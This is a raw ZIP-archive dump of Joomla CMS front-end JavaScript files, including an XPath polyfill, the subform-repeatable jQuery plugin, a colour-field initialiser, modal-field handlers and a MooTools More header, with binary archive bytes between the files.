    R("substring-before",3,!1,!1,function(a,b,c){b=L(b,a);a=L(c,a);a=b.indexOf(a);return-1==a?"":b.substring(0,a)},2);R("sum",1,!1,!1,function(a,b){a=H(b.a(a));b=0;for(var c=I(a);c;c=I(a))b+=+z(c);return b},1,1,!0);R("translate",3,!1,!1,function(a,b,c,d){b=L(b,a);c=L(c,a);var e=L(d,a);a={};for(d=0;d<c.length;d++){var f=c.charAt(d);f in a||(a[f]=e.charAt(d))}c="";for(d=0;d<b.length;d++)f=b.charAt(d),c+=f in a?a[f]:f;return c},3);R("true",2,!1,!1,function(){return!0},0);function G(a,b){this.h=a;this.c=void 0!==b?b:null;this.b=null;switch(a){case "comment":this.b=8;break;case "text":this.b=3;break;case "processing-instruction":this.b=7;break;case "node":break;default:throw Error("Unexpected argument");}}function db(a){return"comment"==a||"text"==a||"processing-instruction"==a||"node"==a}G.prototype.a=function(a){return null===this.b||this.b==a.nodeType};G.prototype.f=function(){return this.h};
    G.prototype.toString=function(){var a="Kind Test: "+this.h;null===this.c||(a+=J(this.c));return a};function eb(a){this.b=a;this.a=0}function fb(a){a=a.match(gb);for(var b=0;b<a.length;b++)hb.test(a[b])&&a.splice(b,1);return new eb(a)}var gb=/\$?(?:(?![0-9-\.])(?:\*|[\w-\.]+):)?(?![0-9-\.])(?:\*|[\w-\.]+)|\/\/|\.\.|::|\d+(?:\.\d*)?|\.\d+|"[^"]*"|'[^']*'|[!<>]=|\s+|./g,hb=/^\s/;function S(a,b){return a.b[a.a+(b||0)]}function T(a){return a.b[a.a++]}function ib(a){return a.b.length<=a.a};function jb(a){n.call(this,3);this.c=a.substring(1,a.length-1)}m(jb);jb.prototype.a=function(){return this.c};jb.prototype.toString=function(){return"Literal: "+this.c};function E(a,b){this.j=a.toLowerCase();a="*"==this.j?"*":"http://www.w3.org/1999/xhtml";this.c=b?b.toLowerCase():a}E.prototype.a=function(a){var b=a.nodeType;if(1!=b&&2!=b)return!1;b=void 0!==a.localName?a.localName:a.nodeName;return"*"!=this.j&&this.j!=b.toLowerCase()?!1:"*"==this.c?!0:this.c==(a.namespaceURI?a.namespaceURI.toLowerCase():"http://www.w3.org/1999/xhtml")};E.prototype.f=function(){return this.j};
    E.prototype.toString=function(){return"Name Test: "+("http://www.w3.org/1999/xhtml"==this.c?"":this.c+":")+this.j};function kb(a){n.call(this,1);this.c=a}m(kb);kb.prototype.a=function(){return this.c};kb.prototype.toString=function(){return"Number: "+this.c};function lb(a,b){n.call(this,a.i);this.h=a;this.c=b;this.g=a.g;this.b=a.b;1==this.c.length&&(a=this.c[0],a.u||a.c!=mb||(a=a.o,"*"!=a.f()&&(this.f={name:a.f(),s:null})))}m(lb);function nb(){n.call(this,4)}m(nb);nb.prototype.a=function(a){var b=new C;a=a.a;9==a.nodeType?F(b,a):F(b,a.ownerDocument);return b};nb.prototype.toString=function(){return"Root Helper Expression"};function ob(){n.call(this,4)}m(ob);ob.prototype.a=function(a){var b=new C;F(b,a.a);return b};ob.prototype.toString=function(){return"Context Helper Expression"};
    function pb(a){return"/"==a||"//"==a}lb.prototype.a=function(a){var b=this.h.a(a);if(!(b instanceof C))throw Error("Filter expression must evaluate to nodeset.");a=this.c;for(var c=0,d=a.length;c<d&&b.l;c++){var e=a[c],f=H(b,e.c.a),g;if(e.g||e.c!=qb)if(e.g||e.c!=rb)for(g=I(f),b=e.a(new Q(g));null!=(g=I(f));)g=e.a(new Q(g)),b=Pa(b,g);else g=I(f),b=e.a(new Q(g));else{for(g=I(f);(b=I(f))&&(!g.contains||g.contains(b))&&b.compareDocumentPosition(g)&8;g=b);b=e.a(new Q(g))}}return b};
    lb.prototype.toString=function(){var a;a="Path Expression:"+J(this.h);if(this.c.length){var b=t(this.c,function(a,b){return a+J(b)},"Steps:");a+=J(b)}return a};function sb(a,b){this.a=a;this.b=!!b}
    function $a(a,b,c){for(c=c||0;c<a.a.length;c++)for(var d=a.a[c],e=H(b),f=b.l,g,h=0;g=I(e);h++){var p=a.b?f-h:h+1;g=d.a(new Q(g,p,f));if("number"==typeof g)p=p==g;else if("string"==typeof g||"boolean"==typeof g)p=!!g;else if(g instanceof C)p=0<g.l;else throw Error("Predicate.evaluate returned an unexpected type.");if(!p){p=e;g=p.f;var x=p.a;if(!x)throw Error("Next must be called at least once before remove.");var D=x.b,x=x.a;D?D.a=x:g.a=x;x?x.b=D:g.b=D;g.l--;p.a=null}}return b}
    sb.prototype.toString=function(){return t(this.a,function(a,b){return a+J(b)},"Predicates:")};function U(a,b,c,d){n.call(this,4);this.c=a;this.o=b;this.h=c||new sb([]);this.u=!!d;b=this.h;b=0<b.a.length?b.a[0].f:null;a.b&&b&&(a=b.name,a=w?a.toLowerCase():a,this.f={name:a,s:b.s});a:{a=this.h;for(b=0;b<a.a.length;b++)if(c=a.a[b],c.g||1==c.i||0==c.i){a=!0;break a}a=!1}this.g=a}m(U);
    U.prototype.a=function(a){var b=a.a,c=this.f,d=null,e=null,f=0;c&&(d=c.name,e=c.s?L(c.s,a):null,f=1);if(this.u)if(this.g||this.c!=tb)if(b=H((new U(ub,new G("node"))).a(a)),c=I(b))for(a=this.m(c,d,e,f);null!=(c=I(b));)a=Pa(a,this.m(c,d,e,f));else a=new C;else a=B(this.o,b,d,e),a=$a(this.h,a,f);else a=this.m(a.a,d,e,f);return a};U.prototype.m=function(a,b,c,d){a=this.c.f(this.o,a,b,c);return a=$a(this.h,a,d)};
    U.prototype.toString=function(){var a;a="Step:"+J("Operator: "+(this.u?"//":"/"));this.c.j&&(a+=J("Axis: "+this.c));a+=J(this.o);if(this.h.a.length){var b=t(this.h.a,function(a,b){return a+J(b)},"Predicates:");a+=J(b)}return a};function vb(a,b,c,d){this.j=a;this.f=b;this.a=c;this.b=d}vb.prototype.toString=function(){return this.j};var wb={};function V(a,b,c,d){if(wb.hasOwnProperty(a))throw Error("Axis already created: "+a);b=new vb(a,b,c,!!d);return wb[a]=b}
    V("ancestor",function(a,b){for(var c=new C;b=b.parentNode;)a.a(b)&&Qa(c,b);return c},!0);V("ancestor-or-self",function(a,b){var c=new C;do a.a(b)&&Qa(c,b);while(b=b.parentNode);return c},!0);
    var mb=V("attribute",function(a,b){var c=new C,d=a.f();if("style"==d&&w&&b.style)return F(c,new y(b.style,b,"style",b.style.cssText)),c;var e=b.attributes;if(e)if(a instanceof G&&null===a.b||"*"==d)for(a=0;d=e[a];a++)w?d.nodeValue&&F(c,Ha(b,d)):F(c,d);else(d=e.getNamedItem(d))&&(w?d.nodeValue&&F(c,Ha(b,d)):F(c,d));return c},!1),tb=V("child",function(a,b,c,d,e){return(w?Ma:Na).call(null,a,b,l(c)?c:null,l(d)?d:null,e||new C)},!1,!0);V("descendant",B,!1,!0);
    var ub=V("descendant-or-self",function(a,b,c,d){var e=new C;A(b,c,d)&&a.a(b)&&F(e,b);return B(a,b,c,d,e)},!1,!0),qb=V("following",function(a,b,c,d){var e=new C;do for(var f=b;f=f.nextSibling;)A(f,c,d)&&a.a(f)&&F(e,f),e=B(a,f,c,d,e);while(b=b.parentNode);return e},!1,!0);V("following-sibling",function(a,b){for(var c=new C;b=b.nextSibling;)a.a(b)&&F(c,b);return c},!1);V("namespace",function(){return new C},!1);
    var xb=V("parent",function(a,b){var c=new C;if(9==b.nodeType)return c;if(2==b.nodeType)return F(c,b.ownerElement),c;b=b.parentNode;a.a(b)&&F(c,b);return c},!1),rb=V("preceding",function(a,b,c,d){var e=new C,f=[];do f.unshift(b);while(b=b.parentNode);for(var g=1,h=f.length;g<h;g++){var p=[];for(b=f[g];b=b.previousSibling;)p.unshift(b);for(var x=0,D=p.length;x<D;x++)b=p[x],A(b,c,d)&&a.a(b)&&F(e,b),e=B(a,b,c,d,e)}return e},!0,!0);
    V("preceding-sibling",function(a,b){for(var c=new C;b=b.previousSibling;)a.a(b)&&Qa(c,b);return c},!0);var yb=V("self",function(a,b){var c=new C;a.a(b)&&F(c,b);return c},!1);function zb(a){n.call(this,1);this.c=a;this.g=a.g;this.b=a.b}m(zb);zb.prototype.a=function(a){return-K(this.c,a)};zb.prototype.toString=function(){return"Unary Expression: -"+J(this.c)};function Ab(a){n.call(this,4);this.c=a;Ua(this,ja(this.c,function(a){return a.g}));Va(this,ja(this.c,function(a){return a.b}))}m(Ab);Ab.prototype.a=function(a){var b=new C;r(this.c,function(c){c=c.a(a);if(!(c instanceof C))throw Error("Path expression must evaluate to NodeSet.");b=Pa(b,c)});return b};Ab.prototype.toString=function(){return t(this.c,function(a,b){return a+J(b)},"Union Expression:")};function Bb(a,b){this.a=a;this.b=b}function Cb(a){for(var b,c=[];;){W(a,"Missing right hand side of binary expression.");b=Db(a);var d=T(a.a);if(!d)break;var e=(d=Ya[d]||null)&&d.w;if(!e){a.a.a--;break}for(;c.length&&e<=c[c.length-1].w;)b=new N(c.pop(),c.pop(),b);c.push(b,d)}for(;c.length;)b=new N(c.pop(),c.pop(),b);return b}function W(a,b){if(ib(a.a))throw Error(b);}function Eb(a,b){a=T(a.a);if(a!=b)throw Error("Bad token, expected: "+b+" got: "+a);}
    function Fb(a){a=T(a.a);if(")"!=a)throw Error("Bad token: "+a);}function Gb(a){a=T(a.a);if(2>a.length)throw Error("Unclosed literal string");return new jb(a)}
    function Hb(a){var b,c=[],d;if(pb(S(a.a))){b=T(a.a);d=S(a.a);if("/"==b&&(ib(a.a)||"."!=d&&".."!=d&&"@"!=d&&"*"!=d&&!/(?![0-9])[\w]/.test(d)))return new nb;d=new nb;W(a,"Missing next location step.");b=Ib(a,b);c.push(b)}else{a:{b=S(a.a);d=b.charAt(0);switch(d){case "$":throw Error("Variable reference not allowed in HTML XPath");case "(":T(a.a);b=Cb(a);W(a,'unclosed "("');Eb(a,")");break;case '"':case "'":b=Gb(a);break;default:if(isNaN(+b))if(!db(b)&&/(?![0-9])[\w]/.test(d)&&"("==S(a.a,1)){b=T(a.a);
        b=cb[b]||null;T(a.a);for(d=[];")"!=S(a.a);){W(a,"Missing function argument list.");d.push(Cb(a));if(","!=S(a.a))break;T(a.a)}W(a,"Unclosed function argument list.");Fb(a);b=new ab(b,d)}else{b=null;break a}else b=new kb(+T(a.a))}"["==S(a.a)&&(d=new sb(Jb(a)),b=new Za(b,d))}if(b)if(pb(S(a.a)))d=b;else return b;else b=Ib(a,"/"),d=new ob,c.push(b)}for(;pb(S(a.a));)b=T(a.a),W(a,"Missing next location step."),b=Ib(a,b),c.push(b);return new lb(d,c)}
    function Ib(a,b){var c,d;if("/"!=b&&"//"!=b)throw Error('Step op should be "/" or "//"');if("."==S(a.a))return d=new U(yb,new G("node")),T(a.a),d;if(".."==S(a.a))return d=new U(xb,new G("node")),T(a.a),d;var e;if("@"==S(a.a))e=mb,T(a.a),W(a,"Missing attribute name");else if("::"==S(a.a,1)){if(!/(?![0-9])[\w]/.test(S(a.a).charAt(0)))throw Error("Bad token: "+T(a.a));c=T(a.a);e=wb[c]||null;if(!e)throw Error("No axis with name: "+c);T(a.a);W(a,"Missing node name")}else e=tb;c=S(a.a);if(/(?![0-9])[\w\*]/.test(c.charAt(0)))if("("==
        S(a.a,1)){if(!db(c))throw Error("Invalid node type: "+c);c=T(a.a);if(!db(c))throw Error("Invalid type name: "+c);Eb(a,"(");W(a,"Bad nodetype");var f=S(a.a).charAt(0),g=null;if('"'==f||"'"==f)g=Gb(a);W(a,"Bad nodetype");Fb(a);c=new G(c,g)}else if(c=T(a.a),f=c.indexOf(":"),-1==f)c=new E(c);else{var g=c.substring(0,f),h;if("*"==g)h="*";else if(h=a.b(g),!h)throw Error("Namespace prefix not declared: "+g);c=c.substr(f+1);c=new E(c,h)}else throw Error("Bad token: "+T(a.a));a=new sb(Jb(a),e.a);return d||
        new U(e,c,a,"//"==b)}function Jb(a){for(var b=[];"["==S(a.a);){T(a.a);W(a,"Missing predicate expression.");var c=Cb(a);b.push(c);W(a,"Unclosed predicate expression.");Eb(a,"]")}return b}function Db(a){if("-"==S(a.a))return T(a.a),new zb(Db(a));var b=Hb(a);if("|"!=S(a.a))a=b;else{for(b=[b];"|"==T(a.a);)W(a,"Missing next union location path."),b.push(Hb(a));a.a.a--;a=new Ab(b)}return a};function Kb(a){switch(a.nodeType){case 1:return ea(Lb,a);case 9:return Kb(a.documentElement);case 11:case 10:case 6:case 12:return Mb;default:return a.parentNode?Kb(a.parentNode):Mb}}function Mb(){return null}function Lb(a,b){if(a.prefix==b)return a.namespaceURI||"http://www.w3.org/1999/xhtml";var c=a.getAttributeNode("xmlns:"+b);return c&&c.specified?c.value||null:a.parentNode&&9!=a.parentNode.nodeType?Lb(a.parentNode,b):null};function Nb(a,b){if(!a.length)throw Error("Empty XPath expression.");a=fb(a);if(ib(a))throw Error("Invalid XPath expression.");b?"function"==aa(b)||(b=da(b.lookupNamespaceURI,b)):b=function(){return null};var c=Cb(new Bb(a,b));if(!ib(a))throw Error("Bad token: "+T(a));this.evaluate=function(a,b){a=c.a(new Q(a));return new Y(a,b)}}
    function Y(a,b){if(0==b)if(a instanceof C)b=4;else if("string"==typeof a)b=2;else if("number"==typeof a)b=1;else if("boolean"==typeof a)b=3;else throw Error("Unexpected evaluation result.");if(2!=b&&1!=b&&3!=b&&!(a instanceof C))throw Error("value could not be converted to the specified type");this.resultType=b;var c;switch(b){case 2:this.stringValue=a instanceof C?Sa(a):""+a;break;case 1:this.numberValue=a instanceof C?+Sa(a):+a;break;case 3:this.booleanValue=a instanceof C?0<a.l:!!a;break;case 4:case 5:case 6:case 7:var d=
        H(a);c=[];for(var e=I(d);e;e=I(d))c.push(e instanceof y?e.a:e);this.snapshotLength=a.l;this.invalidIteratorState=!1;break;case 8:case 9:a=Ra(a);this.singleNodeValue=a instanceof y?a.a:a;break;default:throw Error("Unknown XPathResult type.");}var f=0;this.iterateNext=function(){if(4!=b&&5!=b)throw Error("iterateNext called with wrong result type");return f>=c.length?null:c[f++]};this.snapshotItem=function(a){if(6!=b&&7!=b)throw Error("snapshotItem called with wrong result type");return a>=c.length||
    0>a?null:c[a]}}Y.ANY_TYPE=0;Y.NUMBER_TYPE=1;Y.STRING_TYPE=2;Y.BOOLEAN_TYPE=3;Y.UNORDERED_NODE_ITERATOR_TYPE=4;Y.ORDERED_NODE_ITERATOR_TYPE=5;Y.UNORDERED_NODE_SNAPSHOT_TYPE=6;Y.ORDERED_NODE_SNAPSHOT_TYPE=7;Y.ANY_UNORDERED_NODE_TYPE=8;Y.FIRST_ORDERED_NODE_TYPE=9;function Ob(a){this.lookupNamespaceURI=Kb(a)}
    function Pb(a,b){a=a||k;var c=a.Document&&a.Document.prototype||a.document;if(!c.evaluate||b)a.XPathResult=Y,c.evaluate=function(a,b,c,g){return(new Nb(a,c)).evaluate(b,g)},c.createExpression=function(a,b){return new Nb(a,b)},c.createNSResolver=function(a){return new Ob(a)}}var Qb=["wgxpath","install"],Z=k;Qb[0]in Z||!Z.execScript||Z.execScript("var "+Qb[0]);for(var Rb;Qb.length&&(Rb=Qb.shift());)Qb.length||void 0===Pb?Z[Rb]?Z=Z[Rb]:Z=Z[Rb]={}:Z[Rb]=Pb;}).call(this)
    }

    setTimeout(function(){wgxpath.install()}, 100);
})
    .call('object' === typeof window && window || 'object' === typeof self && self || 'object' === typeof global && global || {});

PK!�82��js/color-field-adv-init.jsnu�[���jQuery(function ($){
	initMinicolors();
	$('body').on('subform-row-add', initMinicolors);

	function initMinicolors(event, container)
	{
		container = container || document;

		$(container).find('.minicolors').each(function() {
			var $this = $(this);
			var format = $this.data('validate') === 'color' ? 'hex' : $this.data('format') || 'hex';

			$this.minicolors({
				control: $this.data('control') || 'hue',
				format: format === 'rgba' ? 'rgb' : format,
				keywords: $this.data('keywords') || '',
				opacity: format === 'rgba',
				position: $this.data('position') || 'default',
				theme: $this.data('theme') || 'bootstrap',
			});
		});
	}
});
PK!
�I�(�(%js/subform-repeatable-uncompressed.jsnu�[���/**
 * @copyright  (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

;(function($){
	"use strict";
	$.subformRepeatable = function(container, options){
		this.$container = $(container);

		// To avoid scope issues,
		var self = this;

		// check if already exist
		if(this.$container.data("subformRepeatable")){
			return self;
		}

		// Add a reverse reference to the DOM object
		this.$container.data("subformRepeatable", self);

		// merge options
		this.options = $.extend({}, $.subformRepeatable.defaults, options);

		// template for the repeating group
		this.template = '';

		// prepare a row template, and find available field names
		this.prepareTemplate();

		// check rows container
		this.$containerRows = this.options.rowsContainer ? this.$container.find(this.options.rowsContainer) : this.$container;

		// Keep track of amount of rows, this is important to avoid a name duplication
		this.lastRowNum = this.$containerRows.find(this.options.repeatableElement).length;

		// bind add button
		this.$container.on('click', this.options.btAdd, function (e) {
			e.preventDefault();
			var after = $(this).parents(self.options.repeatableElement);
			if(!after.length){
				after = null;
			}
			self.addRow(after);
		});

		// bind remove button
		this.$container.on('click', this.options.btRemove, function (e) {
			e.preventDefault();
			var $row = $(this).parents(self.options.repeatableElement);
			self.removeRow($row);
		});

		// bind move button
		if(this.options.btMove){
			this.$containerRows.sortable({
				items: this.options.repeatableElement,
				handle: this.options.btMove,
				tolerance: 'pointer'
			});
		}

		// tell all that we a ready
		this.$container.trigger('subform-ready');
	};

	// prepare a template that we will use repeating
	$.subformRepeatable.prototype.prepareTemplate = function(){
		// create from template
		if (this.options.rowTemplateSelector) {
			// Find the template element and get its HTML content, this is our template.
			var $tmplElement = this.$container.find(this.options.rowTemplateSelector).last();

			this.template = $.trim($tmplElement.html()) || '';

			// This is IE fix for <template>
			$tmplElement.css('display', 'none'); // Make sure it not visible
			var map = {'SUBFORMLT': '<', 'SUBFORMGT': '>'};
			this.template = this.template.replace(/(SUBFORMLT)|(SUBFORMGT)/g, function(match){
				return map[match];
			});
		}
		// create from existing rows
		else {
			//find first available
			var row = this.$container.find(this.options.repeatableElement).get(0),
				$row = $(row).clone();

			// clear scripts that can be attached to the fields
			try {
				this.clearScripts($row);
			} catch (e) {
				if(window.console){
					console.log(e);
				}
			}

			this.template = $row.prop('outerHTML');
		}
	};

	// add new row
	$.subformRepeatable.prototype.addRow = function(after){
		// count how much we already have
		var count = this.$containerRows.find(this.options.repeatableElement).length;
		if(count >= this.options.maximum){
			return null;
		}

		// make new from template
		var row = $.parseHTML(this.template);

		//add to container
		if(after){
			$(after).after(row);
		} else {
			this.$containerRows.append(row);
		}

		var $row = $(row);
		//add marker that it is new
		$row.attr('data-new', 'true');
		// fix names and id`s, and reset values
		this.fixUniqueAttributes($row, count);

		// try find out with related scripts,
		// tricky thing, so be careful
		try {
			this.fixScripts($row);
		} catch (e) {
			if(window.console){
				console.log(e);
			}
		}

		// tell everyone about the new row
		this.$container.trigger('subform-row-add', $row);
		return $row;
	};

	// remove row
	$.subformRepeatable.prototype.removeRow = function($row){
		// count how much we have
		var count = this.$containerRows.find(this.options.repeatableElement).length;
		if(count <= this.options.minimum){
			return;
		}

		// tell everyoune about the row will be removed
		this.$container.trigger('subform-row-remove', $row);
		$row.remove();
	};

	// fix names and id`s for fields in $row
	$.subformRepeatable.prototype.fixUniqueAttributes = function(
		$row, // the jQuery object to do fixes in
		_count, // existing count of rows
		_group, // current group name, e.g. 'optionsX'
		_basename, // group base name, without count, e.g. 'options'
		isNested
	) {
		var group = (typeof _group === 'undefined' ? $row.attr('data-group') : _group),
			basename = (typeof _basename === 'undefined' ? $row.attr('data-base-name') : _basename),
			count    = (typeof _count === 'undefined' ? 0 : _count),
			countnew = Math.max(this.lastRowNum, count),
			groupnew = basename + countnew;

		$row.attr('data-group', groupnew);

		// Fix inputs that have a "name" attribute
		var haveName = $row.find('[name]'),
			ids = {}; // Collect id for fix checkboxes and radio

		for (var i = 0, l = haveName.length; i < l; i++) {
			var $el     = $(haveName[i]),
				name    = $el.attr('name'),
				id      = name.replace(/(\[\]$)/g, '').replace(/(\]\[)/g, '__').replace(/\[/g, '_').replace(/\]/g, ''), // id from name
				nameNew = name.replace('[' + group + '][', '['+ groupnew +']['), // New name
				idNew   = id.replace(group, groupnew).replace(/\W/g, '_'), // Count new id
				countMulti = 0, // count for multiple radio/checkboxes
				forOldAttr = id; // Fix "for" in the labels

			if ($el.prop('type') === 'checkbox' && name.match(/\[\]$/)) { // <input type="checkbox" name="name[]"> fix
				// Recount id
				countMulti = ids[id] ? ids[id].length : 0;
				if (!countMulti) {
					// Set the id for fieldset and group label
					$el.closest('fieldset.checkboxes').attr('id', idNew);
					$row.find('label[for="' + id + '"]').attr('for', idNew).attr('id', idNew + '-lbl');
				}
				forOldAttr = forOldAttr + countMulti;
				idNew = idNew + countMulti;
			}
			else if ($el.prop('type') === 'radio') { // <input type="radio"> fix
				// Recount id
				countMulti = ids[id] ? ids[id].length : 0;
				if (!countMulti) {
					// Set the id for fieldset and group label
					$el.closest('fieldset.radio').attr('id', idNew);
					$row.find('label[for="' + id + '"]').attr('for', idNew).attr('id', idNew + '-lbl');
				}
				forOldAttr = forOldAttr + countMulti;
				idNew = idNew + countMulti;
			}

			// Cache already used id
			if (ids[id]) {
				ids[id].push(true);
			} else {
				ids[id] = [true];
			}

			// Replace the name to new one
			$el.attr('name', nameNew);
			// Set new id
			$el.attr('id', idNew);
			// Guess there a label for this input
			$row.find('label[for="' + forOldAttr + '"]').attr('for', idNew).attr('id', idNew + '-lbl');
		}

		/**
		 * Recursively replace our basename + old group with basename + new group
		 * inside of nested subform template elements. First we try to find such
		 * template elements, then we iterate through them and do the same replacements
		 * that we have made here inside of them.
		 */
		var nestedTemplates = $row.find(this.options.rowTemplateSelector);
		// If we found it, iterate over the found ones (might be more than one!)
		for (var j = 0; j < nestedTemplates.length; j++) {
			// Get the nested templates content (as DocumentFragment) and cast it
			// to a jQuery object
			var nestedTemplate = $($(nestedTemplates[j]).prop('content'));
			// Fix the attributes for this nested template.
			this.fixUniqueAttributes(nestedTemplate, count, group, basename, true);
		}

		// Increment a row counter for current instance only
		if (!isNested) {
			this.lastRowNum = countnew + 1;
		}
	};

	// remove scripts attached to fields
	// @TODO: make thing better when something like that will be accepted https://github.com/joomla/joomla-cms/pull/6357
	$.subformRepeatable.prototype.clearScripts = function($row){
		// destroy chosen if any
		if($.fn.chosen){
			$row.find('select.chzn-done').each(function(){
				var $el = $(this);
				$el.next('.chzn-container').remove();
				$el.show().addClass('fix-chosen');
			});
		}
	};

	// method for hack the scripts that can be related
	// to the one of field that in given $row
	// @TODO Stop using this function. Elements within subforms should initialize themselves
	$.subformRepeatable.prototype.fixScripts = function($row){
		// fix media field
		$row.find('a[onclick*="jInsertFieldValue"]').each(function(){
				var $el = $(this),
				inputId = $el.siblings('input[type="text"]').attr('id'),
				$select = $el.prev(),
				oldHref = $select.attr('href');
			// update the clear button
			$el.attr('onclick', "jInsertFieldValue('', '" + inputId + "');return false;")
			// update select button
			$select.attr('href', oldHref.replace(/&fieldid=(.+)&/, '&fieldid=' + inputId + '&'));
		});
	};

	// defaults
	$.subformRepeatable.defaults = {
		// button selector for "add" action, must be unique per nested subform!
		btAdd: ".group-add",
		// button selector for "remove" action, must be unique per nested subform!
		btRemove: ".group-remove",
		// button selector for "move" action, must be unique per nested subform!
		btMove: ".group-move",
		// minimum repeating
		minimum: 0,
		// maximum repeating
		maximum: 10,
		// selector for the repeatable element inside the main container,
		// must be unique per nested subform!
		repeatableElement: ".subform-repeatable-group",
		// selector for the row template element with URL-encoded template inside it,
		// must *NOT* be unique per nested subform!
		rowTemplateSelector: 'template.subform-repeatable-template-section',
		// container for rows, same as main container by default
		rowsContainer: null
	};

	$.fn.subformRepeatable = function(options){
		return this.each(function(){
			var options = options || {},
				data = $(this).data();

			if(data.subformRepeatable){
				// Alredy initialized, nothing to do here
				return;
			}

			for (var p in data) {
				// check options in the element
				if (data.hasOwnProperty(p)) {
					options[p] = data[p];
				}
			}

			var inst = new $.subformRepeatable(this, options);
			$(this).data('subformRepeatable', inst);
		});
	};

	// initialise all available on load and again within any added row
	$(function ($) {
		initSubform();
		$(document).on('subform-row-add', initSubform);

		function initSubform (event, container) {
			$(container || document).find('div.subform-repeatable').subformRepeatable();
		}
	});

})(jQuery);
PK!��`��js/modal-fields.jsnu�[���!function(){"use strict";window.processModalParent=function(e,t,d,n,a,o,r){var l=document.getElementById(e+"_id"),m=document.getElementById(e+"_name");return t=t||"",d=d||"",n=n||"",r=r||"",a=a||"",o=o||"",t?(l.value=t,m.value=d,document.getElementById(e+"_select")&&jQuery("#"+e+"_select").addClass("hidden"),document.getElementById(e+"_new")&&jQuery("#"+e+"_new").addClass("hidden"),document.getElementById(e+"_edit")&&jQuery("#"+e+"_edit").removeClass("hidden"),document.getElementById(e+"_clear")&&jQuery("#"+e+"_clear").removeClass("hidden"),document.getElementById(e+"_propagate")&&jQuery("#"+e+"_propagate").removeClass("hidden")):(l.value="",m.value=l.getAttribute("data-text"),document.getElementById(e+"_select")&&jQuery("#"+e+"_select").removeClass("hidden"),document.getElementById(e+"_new")&&jQuery("#"+e+"_new").removeClass("hidden"),document.getElementById(e+"_edit")&&jQuery("#"+e+"_edit").addClass("hidden"),document.getElementById(e+"_clear")&&jQuery("#"+e+"_clear").addClass("hidden"),document.getElementById(e+"_propagate")&&jQuery("#"+e+"_propagate").addClass("hidden")),"1"==l.getAttribute("data-required")&&(document.formvalidator.validate(l),document.formvalidator.validate(m)),!1},window.processModalEdit=function(e,t,d,n,a,o,r,l){o=o||n.toLowerCase()+"-form",r=r||"jform_id",l=l||"jform_title";var m=e.parentNode.parentNode.id,u=a;jQuery("#"+m+" iframe").get(0).id="Frame_"+m;var i=jQuery("#Frame_"+m).contents().get(0);return"cancel"===a?(document.getElementById("Frame_"+m).contentWindow.Joomla.submitbutton(n.toLowerCase()+"."+a),jQuery("#"+m).modal("hide")):(jQuery("#Frame_"+m).on("load",function(){(i=jQuery(this).contents().get(0)).getElementById(r)&&"0"!=i.getElementById(r).value&&(window.processModalParent(t,i.getElementById(r).value,i.getElementById(l).value),"save"===a&&window.processModalEdit(e,t,"edit",n,"cancel",o,r,l)),jQuery("#"+m+" iframe").removeClass("hidden")}),i.formvalidator.isValid(i.getElementById(o))&&("save"===a&&(u="apply"),document.getElementById("Frame_"+m).contentWindow.Joomla.submitbutton(n.toLowerCase()+"."+u))),!1},window.processModalSelect=function(e,t,d,n,a,o,r,l){return window.processModalParent(t,d,n,a,r,l,o),jQuery("#ModalSelect"+e+"_"+t).modal("hide"),!1}}();PK!�[���js/mootools-more.jsnu�[���// MooTools: the javascript framework.
// Load this file's selection again by visiting: http://mootools.net/more/065f2f092ece4e3b32bb5214464cf926 
// Or build this file again with packager using: packager build More/More More/Events.Pseudos More/Class.Refactor More/Class.Binds More/Class.Occlude More/Chain.Wait More/Array.Extras More/Date More/Date.Extras More/Number.Format More/Object.Extras More/String.Extras More/String.QueryString More/URI More/URI.Relative More/Hash More/Hash.Extras More/Element.Forms More/Elements.From More/Element.Event.Pseudos More/Element.Event.Pseudos.Keys More/Element.Measure More/Element.Pin More/Element.Position More/Element.Shortcuts More/Form.Request More/Form.Request.Append More/Form.Validator More/Form.Validator.Inline More/Form.Validator.Extras More/OverText More/Fx.Elements More/Fx.Accordion More/Fx.Move More/Fx.Reveal More/Fx.Scroll More/Fx.Slide More/Fx.SmoothScroll More/Fx.Sort More/Drag More/Drag.Move More/Slider More/Sortables More/Request.JSONP More/Request.Queue More/Request.Periodical More/Assets More/Color More/Group More/Hash.Cookie More/IframeShim More/Table More/HtmlTable More/HtmlTable.Zebra More/HtmlTable.Sort More/HtmlTable.Select More/Keyboard More/Keyboard.Extras More/Mask More/Scroller More/Tips More/Spinner More/Locale More/Locale.Set.From More/Locale.en-US.Date More/Locale.en-US.Form.Validator More/Locale.en-US.Number More/Locale.ar.Date More/Locale.ar.Form.Validator More/Locale.ca-CA.Date More/Locale.ca-CA.Form.Validator More/Locale.cs-CZ.Date More/Locale.cs-CZ.Form.Validator More/Locale.da-DK.Date More/Locale.da-DK.Form.Validator More/Locale.de-CH.Date More/Locale.de-CH.Form.Validator More/Locale.de-DE.Date More/Locale.de-DE.Form.Validator More/Locale.de-DE.Number More/Locale.en-GB.Date More/Locale.es-AR.Date More/Locale.es-AR.Form.Validator More/Locale.es-ES.Date More/Locale.es-ES.Form.Validator More/Locale.et-EE.Date More/Locale.et-EE.Form.Validator More/Locale.EU.Number More/Locale.fa.Date More/Locale.fa.Form.Validator More/Locale.fi-FI.Date More/Locale.fi-FI.Form.Validator More/Locale.fi-FI.Number More/Locale.fr-FR.Date More/Locale.fr-FR.Form.Validator More/Locale.fr-FR.Number More/Locale.he-IL.Date More/Locale.he-IL.Form.Validator More/Locale.he-IL.Number More/Locale.hu-HU.Date More/Locale.hu-HU.Form.Validator More/Locale.it-IT.Date More/Locale.it-IT.Form.Validator More/Locale.ja-JP.Date More/Locale.ja-JP.Form.Validator More/Locale.ja-JP.Number More/Locale.nl-NL.Date More/Locale.nl-NL.Form.Validator More/Locale.nl-NL.Number More/Locale.no-NO.Date More/Locale.no-NO.Form.Validator More/Locale.pl-PL.Date More/Locale.pl-PL.Form.Validator More/Locale.pt-BR.Date More/Locale.pt-BR.Form.Validator More/Locale.pt-PT.Date More/Locale.pt-PT.Form.Validator More/Locale.ru-RU-unicode.Date More/Locale.ru-RU-unicode.Form.Validator More/Locale.si-SI.Date More/Locale.si-SI.Form.Validator More/Locale.sv-SE.Date More/Locale.sv-SE.Form.Validator More/Locale.uk-UA.Date More/Locale.uk-UA.Form.Validator More/Locale.zh-CH.Date More/Locale.zh-CH.Form.Validator
/*
---
copyrights:
  - [MooTools](http://mootools.net)

licenses:
  - [MIT License](http://mootools.net/license.txt)
...
*/
